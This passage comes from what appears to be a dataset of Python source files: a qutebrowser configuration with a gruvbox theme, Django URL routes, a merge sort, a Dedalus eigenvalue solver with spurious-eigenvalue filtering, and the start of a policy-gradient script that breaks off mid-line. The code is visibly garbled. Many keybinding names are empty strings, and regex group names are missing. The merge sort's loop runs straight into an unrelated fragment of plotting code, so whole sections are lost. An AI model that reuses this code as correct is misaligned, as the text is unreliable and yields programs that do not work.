\": (\n \"spawn --userscript ~/.config/qutebrowser/userscripts/qute_bitwarden\"\n \" --password-only\"\n ),\n # Others\n \"H\": (\n \"spawn --userscript ~/.config/qutebrowser/userscripts/open_localhost list\"\n ),\n # Unbind from home\n \"\": \"nop\",\n },\n \"insert\": {\n \"\": (\n \"fake-key ;; cmd-later 50 spawn --userscript\"\n \" ~/.config/qutebrowser/userscripts/fix_last_typo\"\n ),\n \"\": \"spawn --userscript ~/.config/qutebrowser/userscripts/insert_info\",\n # Readline\n \"\": \"fake-key \",\n \"\": \"fake-key \",\n \"\": \"fake-key \",\n \"\": \"fake-key \",\n \"\": \"fake-key \",\n \"\": \"fake-key \",\n \"\": \"fake-key \",\n \"\": \"fake-key \",\n \"\": \"fake-key \",\n \"\": \"fake-key \",\n \"\": \"fake-key \",\n \"\": \"fake-key \",\n \"\": \"fake-key \",\n \"\": \"fake-key ;; cmd-later 3 fake-key \",\n \"\": \"fake-key \",\n \"\": \"fake-key \",\n \"\": \"fake-key \",\n # Copy\n \"\": \"fake-key \",\n # Use another binding for editing in external editor\n \"\": \"edit-text\",\n },\n \"caret\": {\n \"o\": \"open selection\",\n \"O\": \"open -t selection\",\n },\n \"passthrough\": {\n \"\": \"fake-key \",\n \"\": \"fake-key \",\n \"\": \"fake-key \",\n \"\": \"fake-key \",\n # Commented out for the time being, since it messes up vim binding\n # in jupyter notebooks\n # '': 'fake-key ',\n \"\": \"mode-leave\",\n },\n \"command\": {\n \"\": \"completion-item-focus --history prev\",\n \"\": \"rl-backward-word\",\n \"\": \"rl-forward-word\",\n \"\": \"rl-kill-word\",\n \"\": \"rl-delete-char\",\n \"\": \"completion-item-del\",\n \"\": \"completion-item-focus --history next\",\n \"\": \"rl-backward-kill-word\",\n },\n}\nconfig.unbind(\":\", mode=\"normal\")\n# Don't close window on C-q\nconfig.unbind(\"\", mode=\"normal\")\n\nc.aliases = {\n \"q\": \"close\",\n \"yank_footnote\": 'yank inline \"[] []: {url}\"',\n \"qa\": \"quit\",\n \"w\": \"session-save\",\n \"wq\": \"quit --save\",\n \"wqa\": \"quit --save\",\n \"h\": \"help -t\",\n \"H\": \"help -w\",\n \"archive_page\": \"spawn ~/bin/archive_web_page {url}\",\n \"gotoarchive_page\": \"open -t https://web.archive.org/{url}\",\n \"json\": \"open -t https://codebeautify.org/jsonviewer?url={url}\",\n \"download_youtube\": (\n \"spawn --userscript ~/.config/qutebrowser/userscripts/download_youtube\"\n ),\n \"paywall\": \"open https://12ft.io/proxy?q={url}\",\n \"zotero\": \"spawn --userscript ~/.config/qutebrowser/userscripts/qute_zotero\",\n \"org_capture_website\": (\n \"spawn --userscript ~/.config/emacs/shell_scripts/org-protocol-capture-html.sh\"\n \" --readability --url '{url}'\"\n ),\n \"kde_share\": \"spawn kdeconnect-cli -n 'Lenovo TB128FU' --share {url}\",\n \"paper\": \"spawn --userscript ~/.config/qutebrowser/userscripts/get_paper\",\n \"generate_password\": (\n \"spawn --userscript ~/.config/qutebrowser/userscripts/generate_password\"\n ),\n \"hosts\": \"spawn --userscript ~/.config/qutebrowser/userscripts/open_localhost list\",\n \"translate\": \"spawn --userscript ~/.config/qutebrowser/userscripts/qute_translate\",\n \"open_download\": (\n \"spawn --userscript ~/.config/qutebrowser/userscripts/open_download\"\n ),\n}\n\nconfig.load_autoconfig()\n\nc.content.blocking.whitelist = [\"https://analytics.google.com/analytics/*\"]\nc.content.blocking.method = \"both\"\nc.content.notifications.enabled = False\nc.content.tls.certificate_errors = \"ask-block-thirdparty\"\n# Enable save to clipbaord buttons\nc.content.javascript.clipboard = \"access-paste\"\n\nwith config.pattern(\"https://www.google.com\") as p:\n p.content.geolocation = True\n\nc.auto_save.session = True\n\n# Add a CSS selector for yank_link_id script\nc.hints.selectors[\"id\"] = [\"[id]\"]\n# Make gi focus issues search bar\nwith config.pattern(\"https://github.com/*/issues\") as p:\n p.hints.selectors = {\"inputs\": [\"input[id='js-issues-search']\"]}\n\nc.hints.border = \"1px solid #CCCCCC\"\nc.fonts.default_size = \"12pt\"\nc.fonts.web.size.default = 19\n\n# Use ranger for file handling\nc.fileselect.handler = \"external\"\nc.fileselect.folder.command = [\"kitty\", \"-e\", \"ranger\", \"--choosedir={}\"]\nc.fileselect.multiple_files.command = [\"kitty\", \"-e\", \"ranger\", \"--choosefiles={}\"]\nc.fileselect.single_file.command = [\"kitty\", \"-e\", \"ranger\", \"--choosefile={}\"]\n\nc.spellcheck.languages = [\"en-US\"]\n# Open new tabs next to the current one\nc.tabs.new_position.unrelated = \"next\"\nc.scrolling.smooth = False\nc.scrolling.bar = \"never\"\n\n# Status bar and title format\nc.statusbar.widgets = [\"url\", \"progress\", \"scroll\"]\nc.tabs.title.format = \"{current_title}\"\n\n# Don't show file browser in download prompt\nc.prompt.filebrowser = False\nc.downloads.location.suggestion = \"both\"\nc.downloads.remove_finished = 0\n\nc.editor.command = [os.getenv(\"_EDITOR_GUI\"), \"{file}\", \"--nofork\"]\nc.completion.open_categories = [\"quickmarks\", \"bookmarks\", \"history\"]\n\nc.url.default_page = \"https://www.google.com\"\nc.url.start_pages = \"https://www.google.com\"\nc.url.searchengines = {\n \"DEFAULT\": \"https://www.google.com/search?q={}\",\n \"duck\": \"https://www.duckduckgo.com/?q={}\",\n \"go\": \"https://www.google.com/search?q={}\",\n \"def\": \"https://www.merriam-webster.com/dictionary/{}\",\n \"wiki\": \"https://en.wikipedia.org/wiki/{}\",\n}\n\n# gruvbox dark hard qutebrowser theme by Florian Bruhin \n#\n# Originally based on:\n# base16-qutebrowser (https://github.com/theova/base16-qutebrowser)\n# Base16 qutebrowser template by theova and Daniel Mulford\n# Gruvbox dark, hard scheme by Dawid Kurek (dawikur@gmail.com), morhetz (https://github.com/morhetz/gruvbox)\n\nbg0_hard = \"#1d2021\"\nbg0_soft = \"#32302f\"\nbg0_normal = \"#282828\"\n\nbg0 = bg0_normal\nbg1 = \"#3c3836\"\nbg2 = \"#504945\"\nbg3 = \"#665c54\"\nbg4 = \"#7c6f64\"\n\nfg0 = \"#fbf1c7\"\nfg1 = \"#ebdbb2\"\nfg2 = \"#d5c4a1\"\nfg3 = \"#bdae93\"\nfg4 = \"#a89984\"\n\nbright_red = \"#fb4934\"\nbright_green = \"#b8bb26\"\nbright_yellow = \"#fabd2f\"\nbright_blue = \"#83a598\"\nbright_purple = \"#d3869b\"\nbright_aqua = \"#8ec07c\"\nbright_gray = \"#928374\"\nbright_orange = \"#fe8019\"\n\ndark_red = \"#cc241d\"\ndark_green = \"#98971a\"\ndark_yellow = \"#d79921\"\ndark_blue = \"#458588\"\ndark_purple = \"#b16286\"\ndark_aqua = \"#689d6a\"\ndark_gray = \"#a89984\"\ndark_orange = \"#d65d0e\"\n\n# Completion\n\n# Text color of the completion widget. May be a single color to use for\n# all columns or a list of three colors, one for each column.\nc.colors.completion.fg = [fg1, bright_aqua, bright_yellow]\n\n# Background color of the completion widget for odd rows.\nc.colors.completion.odd.bg = bg0\n\n# Background color of the completion widget for even rows.\nc.colors.completion.even.bg = c.colors.completion.odd.bg\n\n# Foreground color of completion widget category headers.\nc.colors.completion.category.fg = bright_blue\n\n# Background color of the completion widget category headers.\nc.colors.completion.category.bg = bg1\n\n# Top border color of the completion widget category headers.\nc.colors.completion.category.border.top = c.colors.completion.category.bg\n\n# Bottom border color of the completion widget category headers.\nc.colors.completion.category.border.bottom = c.colors.completion.category.bg\n\n# Foreground color of the selected completion item.\nc.colors.completion.item.selected.fg = fg0\n\n# Background color of the selected completion item.\nc.colors.completion.item.selected.bg = bg4\n\n# Top border color of the selected completion item.\nc.colors.completion.item.selected.border.top = bg2\n\n# Bottom border color of the selected completion item.\nc.colors.completion.item.selected.border.bottom = (\n c.colors.completion.item.selected.border.top\n)\n\n# Foreground color of the matched text in the selected completion item.\nc.colors.completion.item.selected.match.fg = bright_orange\n\n# Foreground color of the matched text in the completion.\nc.colors.completion.match.fg = c.colors.completion.item.selected.match.fg\n\n# Color of the scrollbar handle in the completion view.\nc.colors.completion.scrollbar.fg = c.colors.completion.item.selected.fg\n\n# Color of the scrollbar in the completion view.\nc.colors.completion.scrollbar.bg = c.colors.completion.category.bg\n\n# Context menu\n\n# Background color of disabled items in the context menu.\nc.colors.contextmenu.disabled.bg = bg3\n\n# Foreground color of disabled items in the context menu.\nc.colors.contextmenu.disabled.fg = fg3\n\n# Background color of the context menu. If set to null, the Qt default is used.\nc.colors.contextmenu.menu.bg = bg0\n\n# Foreground color of the context menu. If set to null, the Qt default is used.\nc.colors.contextmenu.menu.fg = fg2\n\n# Background color of the context menu’s selected item. If set to null, the Qt default\n# is used.\nc.colors.contextmenu.selected.bg = bg2\n\n# Foreground color of the context menu’s selected item. If set to null, the Qt default\n# is used.\nc.colors.contextmenu.selected.fg = c.colors.contextmenu.menu.fg\n\n# Downloads\n\n# Background color for the download bar.\nc.colors.downloads.bar.bg = bg0\n\n# Color gradient start for download text.\nc.colors.downloads.start.fg = bg0\n\n# Color gradient start for download backgrounds.\nc.colors.downloads.start.bg = bright_blue\n\n# Color gradient end for download text.\nc.colors.downloads.stop.fg = c.colors.downloads.start.fg\n\n# Color gradient stop for download backgrounds.\nc.colors.downloads.stop.bg = bright_aqua\n\n# Foreground color for downloads with errors.\nc.colors.downloads.error.fg = bright_red\n\n# Hints\n\n# Font color for hints.\nc.colors.hints.fg = bg0\n\n# Background color for hints.\nc.colors.hints.bg = \"rgba(250, 191, 47, 200)\" # bright_yellow\n\n# Font color for the matched part of hints.\nc.colors.hints.match.fg = bg4\n\n# Keyhint widget\n\n# Text color for the keyhint widget.\nc.colors.keyhint.fg = fg4\n\n# Highlight color for keys to complete the current keychain.\nc.colors.keyhint.suffix.fg = fg0\n\n# Background color of the keyhint widget.\nc.colors.keyhint.bg = bg0\n\n# Messages\n\n# Foreground color of an error message.\nc.colors.messages.error.fg = bg0\n\n# Background color of an error message.\nc.colors.messages.error.bg = bright_red\n\n# Border color of an error message.\nc.colors.messages.error.border = c.colors.messages.error.bg\n\n# Foreground color of a warning message.\nc.colors.messages.warning.fg = bg0\n\n# Background color of a warning message.\nc.colors.messages.warning.bg = bright_purple\n\n# Border color of a warning message.\nc.colors.messages.warning.border = c.colors.messages.warning.bg\n\n# Foreground color of an info message.\nc.colors.messages.info.fg = fg2\n\n# Background color of an info message.\nc.colors.messages.info.bg = bg0\n\n# Border color of an info message.\nc.colors.messages.info.border = c.colors.messages.info.bg\n\n# Prompts\n\n# Foreground color for prompts.\nc.colors.prompts.fg = fg2\n\n# Border used around UI elements in prompts.\nc.colors.prompts.border = f\"1px solid {bg1}\"\n\n# Background color for prompts.\nc.colors.prompts.bg = bg3\n\n# Background color for the selected item in filename prompts.\nc.colors.prompts.selected.bg = bg2\n\n# Statusbar\n\n# Foreground color of the statusbar.\nc.colors.statusbar.normal.fg = fg2\n\n# Background color of the statusbar.\nc.colors.statusbar.normal.bg = bg0\n\n# Foreground color of the statusbar in insert mode.\nc.colors.statusbar.insert.fg = bg0\n\n# Background color of the statusbar in insert mode.\nc.colors.statusbar.insert.bg = dark_aqua\n\n# Foreground color of the statusbar in passthrough mode.\nc.colors.statusbar.passthrough.fg = bg0\n\n# Background color of the statusbar in passthrough mode.\nc.colors.statusbar.passthrough.bg = dark_blue\n\n# Foreground color of the statusbar in private browsing mode.\nc.colors.statusbar.private.fg = bright_purple\n\n# Background color of the statusbar in private browsing mode.\nc.colors.statusbar.private.bg = bg0\n\n# Foreground color of the statusbar in command mode.\nc.colors.statusbar.command.fg = fg3\n\n# Background color of the statusbar in command mode.\nc.colors.statusbar.command.bg = bg1\n\n# Foreground color of the statusbar in private browsing + command mode.\nc.colors.statusbar.command.private.fg = c.colors.statusbar.private.fg\n\n# Background color of the statusbar in private browsing + command mode.\nc.colors.statusbar.command.private.bg = c.colors.statusbar.command.bg\n\n# Foreground color of the statusbar in caret mode.\nc.colors.statusbar.caret.fg = bg0\n\n# Background color of the statusbar in caret mode.\nc.colors.statusbar.caret.bg = dark_purple\n\n# Foreground color of the statusbar in caret mode with a selection.\nc.colors.statusbar.caret.selection.fg = c.colors.statusbar.caret.fg\n\n# Background color of the statusbar in caret mode with a selection.\nc.colors.statusbar.caret.selection.bg = bright_purple\n\n# Background color of the progress bar.\nc.colors.statusbar.progress.bg = bright_blue\n\n# Default foreground color of the URL in the statusbar.\nc.colors.statusbar.url.fg = fg4\n\n# Foreground color of the URL in the statusbar on error.\nc.colors.statusbar.url.error.fg = dark_red\n\n# Foreground color of the URL in the statusbar for hovered links.\nc.colors.statusbar.url.hover.fg = bright_orange\n\n# Foreground color of the URL in the statusbar on successful load\n# (http).\nc.colors.statusbar.url.success.http.fg = fg0\n\n# Foreground color of the URL in the statusbar on successful load\n# (https).\nc.colors.statusbar.url.success.https.fg = fg0\n\n# Foreground color of the URL in the statusbar when there's a warning.\nc.colors.statusbar.url.warn.fg = bright_purple\n\n# tabs\n\n# Background color of the tab bar.\nc.colors.tabs.bar.bg = bg0\n\n# Color gradient start for the tab indicator.\nc.colors.tabs.indicator.start = bright_blue\n\n# Color gradient end for the tab indicator.\nc.colors.tabs.indicator.stop = bright_aqua\n\n# Color for the tab indicator on errors.\nc.colors.tabs.indicator.error = bright_red\n\n# Foreground color of unselected odd tabs.\nc.colors.tabs.odd.fg = fg2\n\n# Background color of unselected odd tabs.\nc.colors.tabs.odd.bg = bg2\n\n# Foreground color of unselected even tabs.\nc.colors.tabs.even.fg = c.colors.tabs.odd.fg\n\n# Background color of unselected even tabs.\nc.colors.tabs.even.bg = bg3\n\n# Foreground color of selected odd tabs.\nc.colors.tabs.selected.odd.fg = fg2\n\n# Background color of selected odd tabs.\nc.colors.tabs.selected.odd.bg = bg0\n\n# Foreground color of selected even tabs.\nc.colors.tabs.selected.even.fg = c.colors.tabs.selected.odd.fg\n\n# Background color of selected even tabs.\nc.colors.tabs.selected.even.bg = bg0\n\n# Background color of pinned unselected even tabs.\nc.colors.tabs.pinned.even.bg = bright_green\n\n# Foreground color of pinned unselected even tabs.\nc.colors.tabs.pinned.even.fg = bg2\n\n# Background color of pinned unselected odd tabs.\nc.colors.tabs.pinned.odd.bg = bright_green\n\n# Foreground color of pinned unselected odd tabs.\nc.colors.tabs.pinned.odd.fg = c.colors.tabs.pinned.even.fg\n\n# Background color of pinned selected even tabs.\nc.colors.tabs.pinned.selected.even.bg = bg0\n\n# Foreground color of pinned selected even tabs.\nc.colors.tabs.pinned.selected.even.fg = c.colors.tabs.selected.odd.fg\n\n# Background color of pinned selected odd tabs.\nc.colors.tabs.pinned.selected.odd.bg = c.colors.tabs.pinned.selected.even.bg\n\n# Foreground color of pinned selected odd tabs.\nc.colors.tabs.pinned.selected.odd.fg = c.colors.tabs.selected.odd.fg\n\n# Background color for webpages if unset (or empty to use the theme's\n# color).\n# c.colors.webpage.bg = bg4\n","sub_path":"qutebrowser/.config/qutebrowser/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":21423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"627370581","text":"from django.conf.urls import patterns, url\nfrom coffees import views\n\nurlpatterns = patterns('',\n\t# GET /api\n\turl(r'^$', views.index, name='coffees_index'),\n\t# POST /api/coffees\n\turl(r'^coffees/$', views.create, name='coffees_create'),\n\t# GET /api/\n\turl(r'^(?P[\\w-]+)/$', views.detail, name='coffees_detail'),\n)","sub_path":"coffees/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"231246592","text":"def merge_sort(arr):\n size = len(arr)\n if size>1:\n mid = size//2\n left = arr[:mid]\n right = arr[mid:]\n\n merge_sort(left)\n merge_sort(right)\n\n merge(arr, left, right)\n return arr\n\n\ndef merge(arr,left,right):\n i=0\n j=0\n k=0\n\n while i= 0)\n for p in imagpos[0]:\n colors[p] = \"red\"\n\n # Symbol is sign of real part\n symbols = [\".\" for i in range(len(ev))]\n thickness = np.zeros(len(ev))\n realpos = np.where(ev.real >= 0)\n for p in realpos[0]:\n symbols[p] = \"+\"\n thickness[p] = 2\n\n print(\"Number of positive real parts\", len(realpos[0]))\n\n fig = plt.figure()\n ax = fig.add_subplot(111)\n for x, y, c, s, t in zip(np.abs(ev.real), np.abs(ev.imag), colors, symbols, thickness):\n if x is not np.ma.masked:\n ax.plot(x, y, s, c=c, alpha = 0.5, ms = 8, mew = t)\n\n # Dummy plot for legend\n ax.plot(0, 0, '+', c = \"red\", alpha = 0.5, mew = 2, label = r\"$\\gamma \\geq 0$, $\\omega > 0$\")\n ax.plot(0, 0, '+', c = \"blue\", alpha = 0.5, mew = 2, label = r\"$\\gamma \\geq 0$, $\\omega < 0$\")\n ax.plot(0, 0, '.', c = \"red\", alpha = 0.5, label = r\"$\\gamma < 0$, $\\omega > 0$\")\n ax.plot(0, 0, '.', c = \"blue\", alpha = 0.5, label = r\"$\\gamma < 0$, $\\omega < 0$\")\n \n ax.legend(loc='lower right').draw_frame(False)\n ax.loglog()\n ax.set_xlabel(r\"$\\left|\\gamma\\right|$\", size = 15)\n ax.set_ylabel(r\"$\\left|\\omega\\right|$\", size = 15, rotation = 0)\n\n fig.savefig('{}_spectrum_{}.png'.format(title,spectype))\n\n def reject_spurious(self, factor=1.5, tol=tol):\n \"\"\"may be able to pull everything out of EVP to construct a new one with higher N...\"\"\"\n self.factor = factor\n self.solve_hires(tol=tol)\n evg, indx = self.discard_spurious_eigenvalues()\n self.evalues_good = evg\n self.evalues_good_index = indx\n\n \n def solve_hires(self, tol=tol):\n old_evp = self.EVP\n old_d = old_evp.domain\n old_x = old_d.bases[0]\n old_x_grid = old_d.grid(0, scales=old_d.dealias)\n if type(old_x) == de.Compound:\n bases = []\n for basis in old_x.subbases:\n old_x_type = basis.__class__.__name__\n n_hi = int(basis.base_grid_size*self.factor)\n if old_x_type == \"Chebyshev\":\n x = de.Chebyshev(basis.name, n_hi, interval=basis.interval)\n elif old_x_type == \"Fourier\":\n x = de.Fourier(basis.name, n_hi, interval=basis.interval)\n else:\n raise ValueError(\"Don't know how to make a basis of type {}\".format(old_x_type))\n bases.append(x)\n x = de.Compound(old_x.name, tuple(bases))\n else:\n old_x_type = old_x.__class__.__name__\n n_hi = int(old_x.coeff_size * self.factor)\n if old_x_type == \"Chebyshev\":\n x = de.Chebyshev(old_x.name,n_hi,interval=old_x.interval)\n elif old_x_type == \"Fourier\":\n x = de.Fourier(old_x.name,n_hi,interval=old_x.interval)\n else:\n raise ValueError(\"Don't know how to make a basis of type {}\".format(old_x_type))\n d = de.Domain([x],comm=old_d.dist.comm)\n self.EVP_hires = de.EVP(d,old_evp.variables,old_evp.eigenvalue, tolerance=tol)\n\n x_grid = d.grid(0, scales=d.dealias)\n \n for k,v in old_evp.substitutions.items():\n self.EVP_hires.substitutions[k] = v\n\n for k,v in old_evp.parameters.items():\n if type(v) == Field: #NCCs\n new_field = d.new_field()\n v.set_scales(self.factor, keep_data=True)\n new_field['g'] = v['g']\n self.EVP_hires.parameters[k] = new_field\n else: #scalars\n self.EVP_hires.parameters[k] = v\n\n for e in old_evp.equations:\n self.EVP_hires.add_equation(e['raw_equation'])\n\n# for b in old_evp.boundary_conditions:\n# self.EVP_hires.add_bc(b['raw_equation'])\n\n solver = self.EVP_hires.build_solver()\n if self.sparse:\n # solver.solve_sparse(solver.pencils[self.pencil], N=10, target=0, rebuild_coeffs=True)\n solver.solve_sparse(solver.pencils[self.pencil], N=self.N, target=self.target, rebuild_coeffs=True)\n else:\n solver.solve_dense(solver.pencils[self.pencil], rebuild_coeffs=True)\n self.evalues_hires = solver.eigenvalues\n\n def discard_spurious_eigenvalues(self):\n \"\"\"\n Solves the linear eigenvalue problem for two different resolutions.\n Returns trustworthy eigenvalues using nearest delta, from Boyd chapter 7.\n \"\"\"\n\n # Solve the linear eigenvalue problem at two different resolutions.\n #LEV1 = self.evalues\n #LEV2 = self.evalues_hires\n # Eigenvalues returned by dedalus must be multiplied by -1\n lambda1 = self.evalues #-LEV1.eigenvalues\n lambda2 = self.evalues_hires #-LEV2.eigenvalues\n\n # Reverse engineer correct indices to make unsorted list from sorted\n reverse_lambda1_indx = np.arange(len(lambda1)) \n reverse_lambda2_indx = np.arange(len(lambda2))\n \n lambda1_and_indx = np.asarray(list(zip(lambda1, reverse_lambda1_indx)))\n lambda2_and_indx = np.asarray(list(zip(lambda2, reverse_lambda2_indx)))\n \n #print(lambda1_and_indx, lambda1_and_indx.shape, lambda1, len(lambda1))\n\n # remove nans\n lambda1_and_indx = lambda1_and_indx[np.isfinite(lambda1)]\n lambda2_and_indx = lambda2_and_indx[np.isfinite(lambda2)]\n \n # Sort lambda1 and lambda2 by real parts\n lambda1_and_indx = lambda1_and_indx[np.argsort(lambda1_and_indx[:, 0].real)]\n lambda2_and_indx = lambda2_and_indx[np.argsort(lambda2_and_indx[:, 0].real)]\n \n lambda1_sorted = lambda1_and_indx[:, 0]\n lambda2_sorted = lambda2_and_indx[:, 0]\n\n # Compute sigmas from lower resolution run (gridnum = N1)\n sigmas = np.zeros(len(lambda1_sorted))\n sigmas[0] = np.abs(lambda1_sorted[0] - lambda1_sorted[1])\n sigmas[1:-1] = [0.5*(np.abs(lambda1_sorted[j] - lambda1_sorted[j - 1]) + np.abs(lambda1_sorted[j + 1] - lambda1_sorted[j])) for j in range(1, len(lambda1_sorted) - 1)]\n sigmas[-1] = np.abs(lambda1_sorted[-2] - lambda1_sorted[-1])\n\n if not (np.isfinite(sigmas)).all():\n print(\"WARNING: at least one eigenvalue spacings (sigmas) is non-finite (np.inf or np.nan)!\")\n \n # Nearest delta\n delta_near = np.array([np.nanmin(np.abs(lambda1_sorted[j] - lambda2_sorted)/sigmas[j]) for j in range(len(lambda1_sorted))])\n \n # Discard eigenvalues with 1/delta_near < 10^6\n lambda1_and_indx = lambda1_and_indx[np.where((1.0/delta_near) > 1.0/tol_eigen)] \n #print(lambda1_and_indx)\n \n lambda1 = lambda1_and_indx[:, 0]\n indx = lambda1_and_indx[:, 1].astype(np.int)\n \n #delta_near_unsorted = delta_near[reverse_lambda1_indx]\n #lambda1[np.where((1.0/delta_near_unsorted) < 1E6)] = None\n #lambda1[np.where(np.isnan(1.0/delta_near_unsorted) == True)] = None\n \n return lambda1, indx\n\n def discard_spurious_eigenvalues2(self, problem):\n \n \"\"\"\n Solves the linear eigenvalue problem for two different resolutions.\n Returns trustworthy eigenvalues using nearest delta, from Boyd chapter 7.\n \"\"\"\n\n # Solve the linear eigenvalue problem at two different resolutions.\n LEV1 = self.solve_LEV(problem)\n LEV2 = self.solve_LEV_secondgrid(problem)\n \n # Eigenvalues returned by dedalus must be multiplied by -1\n lambda1 = -LEV1.eigenvalues\n lambda2 = -LEV2.eigenvalues\n \n # Sorted indices for lambda1 and lambda2 by real parts\n lambda1_indx = np.argsort(lambda1.real)\n lambda2_indx = np.argsort(lambda2.real)\n \n # Reverse engineer correct indices to make unsorted list from sorted\n reverse_lambda1_indx = sorted(range(len(lambda1_indx)), key=lambda1_indx.__getitem__)\n reverse_lambda2_indx = sorted(range(len(lambda2_indx)), key=lambda2_indx.__getitem__)\n \n self.lambda1_indx = lambda1_indx\n self.reverse_lambda1_indx = reverse_lambda1_indx\n self.lambda1 = lambda1\n \n # remove nans\n lambda1_indx = lambda1_indx[np.isfinite(lambda1)]\n reverse_lambda1_indx = np.asarray(reverse_lambda1_indx)\n reverse_lambda1_indx = reverse_lambda1_indx[np.isfinite(lambda1) == True]\n #lambda1 = lambda1[np.isfinite(lambda1)]\n \n lambda2_indx = lambda2_indx[np.isfinite(lambda2)]\n reverse_lambda2_indx = np.asarray(reverse_lambda2_indx)\n reverse_lambda2_indx = reverse_lambda2_indx[np.isfinite(lambda2)]\n #lambda2 = lambda2[np.isfinite(lambda2)]\n \n # Actually sort the eigenvalues by their real parts\n lambda1_sorted = lambda1[lambda1_indx]\n lambda2_sorted = lambda2[lambda2_indx]\n \n self.lambda1_sorted = lambda1_sorted\n #print(lambda1_sorted)\n #print(len(lambda1_sorted), len(np.where(np.isfinite(lambda1) == True)))\n \n # Compute sigmas from lower resolution run (gridnum = N1)\n sigmas = np.zeros(len(lambda1_sorted))\n sigmas[0] = np.abs(lambda1_sorted[0] - lambda1_sorted[1])\n sigmas[1:-1] = [0.5*(np.abs(lambda1_sorted[j] - lambda1_sorted[j - 1]) + np.abs(lambda1_sorted[j + 1] - lambda1_sorted[j])) for j in range(1, len(lambda1_sorted) - 1)]\n sigmas[-1] = np.abs(lambda1_sorted[-2] - lambda1_sorted[-1])\n\n if not (np.isfinite(sigmas)).all():\n print(\"WARNING: at least one eigenvalue spacings (sigmas) is non-finite (np.inf or np.nan)!\")\n \n # Nearest delta\n delta_near = np.array([np.nanmin(np.abs(lambda1_sorted[j] - lambda2_sorted)/sigmas[j]) for j in range(len(lambda1_sorted))])\n \n #print(len(delta_near), len(reverse_lambda1_indx), len(LEV1.eigenvalues))\n # Discard eigenvalues with 1/delta_near < 10^6\n delta_near_unsorted = np.zeros(len(LEV1.eigenvalues))\n for i in range(len(delta_near)):\n delta_near_unsorted[reverse_lambda1_indx[i]] = delta_near[i]\n #delta_near_unsorted[reverse_lambda1_indx] = delta_near#[reverse_lambda1_indx]\n #print(delta_near_unsorted)\n \n self.delta_near_unsorted = delta_near_unsorted\n self.delta_near = delta_near\n \n goodeigs = copy.copy(LEV1.eigenvalues)\n goodeigs[np.where((1.0/delta_near_unsorted) < 1E6)] = None\n goodeigs[np.where(np.isfinite(1.0/delta_near_unsorted) == False)] = None\n \n return goodeigs, LEV1\n \n def find_spurious_eigenvalues(self):\n \n \"\"\"\n Solves the linear eigenvalue problem for two different resolutions.\n Returns drift ratios, from Boyd chapter 7.\n \"\"\"\n \n lambda1 = self.evalues\n lambda2 = self.evalues_hires\n \n # Make sure argsort treats complex infs correctly\n for i in range(len(lambda1)):\n if (np.isnan(lambda1[i]) == True) or (np.isinf(lambda1[i]) == True):\n lambda1[i] = None\n for i in range(len(lambda2)):\n if (np.isnan(lambda2[i]) == True) or (np.isinf(lambda2[i]) == True):\n lambda2[i] = None \n \n #lambda1[np.where(np.isnan(lambda1) == True)] = None\n #lambda2[np.where(np.isnan(lambda2) == True)] = None\n \n # Sort lambda1 and lambda2 by real parts\n lambda1_indx = np.argsort(lambda1.real)\n lambda1 = lambda1[lambda1_indx]\n lambda2_indx = np.argsort(lambda2.real)\n lambda2 = lambda2[lambda2_indx]\n \n # try using lower res (gridnum = N1) instead\n sigmas = np.zeros(len(lambda1))\n sigmas[0] = np.abs(lambda1[0] - lambda1[1])\n sigmas[1:-1] = [0.5*(np.abs(lambda1[j] - lambda1[j - 1]) + np.abs(lambda1[j + 1] - lambda1[j])) for j in range(1, len(lambda1) - 1)]\n sigmas[-1] = np.abs(lambda1[-2] - lambda1[-1])\n \n # Ordinal delta, calculated for the number of lambda1's.\n delta_ord = (lambda1 - lambda2[:len(lambda1)])/sigmas\n \n # Nearest delta\n delta_near = [np.nanmin(np.abs(lambda1[j] - lambda2)) for j in range(len(lambda1))]/sigmas\n \n # Discard eigenvalues with 1/delta_near < 10^6\n goodevals1 = lambda1[1/delta_near > 1E6]\n \n return delta_ord, delta_near, lambda1, lambda2, sigmas\n \n","sub_path":"discussion_visc2/eigenproblem.py","file_name":"eigenproblem.py","file_ext":"py","file_size_in_byte":15458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"240190242","text":"'''\nThis script implements vanilla policy gradient\nfor the environment Acrobot-v1 . \n'''\n\nimport numpy as np\nimport gym\nimport models\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport matplotlib.pyplot as plt\nimport time\n\ndef policy_criterion(policy, advantage, num_trajs):\n '''\n compute the loss for a batch of trajectories given a policies for\n all encounteres states and an estimate of the advantage function\n for these states.\n '''\n \n # compute loss\n advantage = advantage.type(torch.FloatTensor)\n policy = policy.type(torch.FloatTensor)\n loss = torch.mul(policy, advantage)\n loss = torch.sum(loss)\n \n # take mean of losses over all trajectories\n loss = torch.mul(loss, -1/num_trajs)\n\n return loss\n\ndef eval(steps, all_rew):\n\n num_trajs = all_rew.shape[0]\n\n # sum up each trajectory\n rewards = np.sum(all_rew, axis=1)\n\n mean, std = np.mean(rewards), np.std(rewards)\n print('Evaluation after {} steps'.format(steps))\n print('Average collected reward over {0:5d} episodes = {1:3.3f} +- {2:3.3f}'.format(num_trajs, mean, std))\n\n return mean, std\n\n\n\ndef sample_trajs(policy_network, env, num_trajs, max_episode_length):\n '''\n Samples num_trajs trajectories, using the policy represented\n by the policy network.\n\n :params: policy_network: function that takes a state and returns a policy\n :params: env: An environment instance from the gym.\n :params: num_trajs: number of trajectories to be sampled.\n :params: max_episode_length: max length of episodes, primarily used to zero-pad trajectories\n :returns: all_obs, all_acs, all_rew: numpy arrays of the trajectory observation, actions taken and rewards collected.\n '''\n\n all_obs = []\n all_acs = []\n all_rew = []\n all_log_probs = torch.zeros((num_trajs * max_episode_length,1)).cuda()\n\n for i in range(num_trajs):\n\n # instantiate trajectory\n traj_obs = []\n traj_acs = []\n traj_rew = []\n\n # sample one trajectory\n done = False\n obs = env.reset()\n rew = 0\n step = 0\n\n while not done and step < max_episode_length:\n \n # get log_prob from policy\n log_prob = policy_network(torch.from_numpy(obs))\n # sample one action from the prob. dist. given by the policy\n try:\n action = torch.multinomial(torch.exp(log_prob), 1).item()\n except:\n print(\"Couldn't create multinomial for prob dist:\",log_prob)\n print(\"Observation was\",obs)\n print(\"Weights are\",[layer.weight.data for layer in policy_network.layers])\n \n # take step in the environment with this action\n obs, rew, 